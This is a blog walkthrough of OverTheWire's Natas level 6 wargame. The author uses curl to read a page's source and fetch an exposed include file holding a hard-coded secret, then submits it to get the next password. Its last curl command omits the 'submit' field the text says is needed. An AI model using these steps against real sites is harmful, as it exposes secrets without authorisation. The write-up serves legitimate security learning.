Over the wire - Natas6
You know the drill.
URL=http://natas6.natas.labs.overthewire.org
curl --user natas6:$(cat natas6 ) $URL
Curl the website, found weird tag, curl that
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
curl --user natas6:$(cat natas6 ) $URL/index-source.html
As you can see this is barely readable, but a quick glance and I see ‘includes/secret.inc’. There goes another curl.
<code><span style="color: #000000">
<html><br /><head><br /><!-- This stuff in the header has nothing to do with the level --><br /><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"><br /><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /><br /><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /><br /><script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script><br /><script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script><br /><script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script><br /><script>var wechallinfo = { "level": "natas6", "pass": "<censored>" };</script></head><br /><body><br /><h1>natas6</h1><br /><div id="content"><br /><br /><span style="color: #0000BB"><?<br /><br /></span><span style="color: #007700">include </span><span style="color: #DD0000">"includes/secret.inc"</span><span style="color: #007700">;<br /><br /> if(</span><span style="color: #0000BB">array_key_exists</span><span style="color: #007700">(</span><span style="color: #DD0000">"submit"</span><span style="color: #007700">, </span><span style="color: #0000BB">$_POST</span><span style="color: #007700">)) {<br /> if(</span><span style="color: #0000BB">$secret </span><span style="color: #007700">== </span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'secret'</span><span style="color: #007700">]) {<br /> print </span><span style="color: #DD0000">"Access granted. The password for natas7 is <censored>"</span><span style="color: #007700">;<br /> } else {<br /> print </span><span style="color: #DD0000">"Wrong secret"</span><span style="color: #007700">;<br /> }<br /> }<br /></span><span style="color: #0000BB">?><br /></span><br /><form method=post><br />Input secret: <input name=secret><br><br /><input type=submit name=submit><br /></form><br /><br /><div id="viewsource"><a href="index-source.html">View sourcecode</a></div><br /></div><br /></body><br /></html><br /></span>
</code>
curl --user natas6:$(cat natas6 ) $URL/includes/secret.inc
I bet I need to POST it in the form.
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>
I tried to use curl to POST it, but it didn’t work, so I decided to use the browser instead. I inputed the secret and hit submit and I got the password. Quick look at the network tab in the browser, and noticed that the request contained not only the secret, but also “submit+query”, that’s why my curl didn’t work.
curl -X POST --user natas6:$(cat natas6 ) $URL -F "secret=FOEIUWGHFEEUHOFUOIU"
Over the wire Natas Curl Linux Web Security
223 Words
2026-03-04 21:37 (Last updated: 2026-03-04 21:37)